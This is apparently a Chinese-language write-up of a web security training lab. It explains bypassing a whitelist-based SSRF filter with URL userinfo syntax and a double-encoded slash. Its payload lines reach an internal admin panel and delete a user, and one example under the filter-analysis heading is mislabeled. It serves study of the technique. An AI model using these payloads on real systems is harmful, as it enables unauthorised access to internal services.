> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/ssrf/ssrf-with-whitelist-based-filter.md).
# 基于白名单过滤的 SSRF
### 基于白名单的 SSRF 输入过滤
库存检查功能会向内部系统发送请求。/ 目标是修改中使用的 URL `stockApi` 参数，以访问位于以下地址的管理界面 `HTTP://localhost/admin`，然后删除该用户 **carlos**。/ 开发者已经实施了一个基于 **已授权主机白名单**的防 SSRF 防护，必须绕过它。
```javascript
stockApi=http://stock.weliketoshop.net:8080/product/stock/check?productId=1%26storeId=1
```
#### **过滤器分析**
该应用只允许向以下主机发送请求：
```bash
stockApi=http://127.0.0.1/admin
```
如果我们将 URL 改为 `localhost` 或内部地址，就会得到以下错误：
外部库存检查主机必须是 stock.weliketoshop.net
#### **绕过白名单**
思路是使用 `username:password@host` URL 语法。/ 这种方法使我们能够 **强制白名单验证的主机出现在“authority”** 部分中，同时实际上将请求定向到 `localhost`.
```bash
http://username:password@website.com
```
使用的载荷：
```bash
stockApi=http://localhost:80%252f@stock.weliketoshop.net:8080
```
使用 `/` (`%252f`) 双重编码，服务器会正确解释重定向到 `localhost`.
这使得可以访问内部管理面板。
#### **删除 Carlos 用户**
一旦绕过可用，就直接调用删除 URL：
{% code overflow="wrap" %}
```bash
stockApi=http://localhost:80%252f@stock.weliketoshop.net:8080/admin?delete=username=carlos
```
{% endcode %}
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